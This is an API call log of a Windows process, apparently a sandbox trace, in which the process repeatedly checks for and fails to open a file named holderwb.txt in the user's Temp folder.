	[0098.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.799] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.800] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.800] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.800] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.800] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.800] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.800] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.801] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.801] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.801] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.801] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.802] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.802] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.803] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.803] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.803] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.804] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.804] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.804] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.804] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.804] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.804] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.805] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.805] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.805] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.805] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.805] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.805] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.806] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.806] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.806] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.806] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.807] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.807] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.807] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.807] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.807] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.808] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.808] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.808] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.809] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.809] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.809] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.809] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.809] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.809] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.810] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.810] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.810] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.810] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.810] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.810] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.811] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.811] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.811] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.811] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.812] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.812] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.812] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.812] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.812] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.813] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
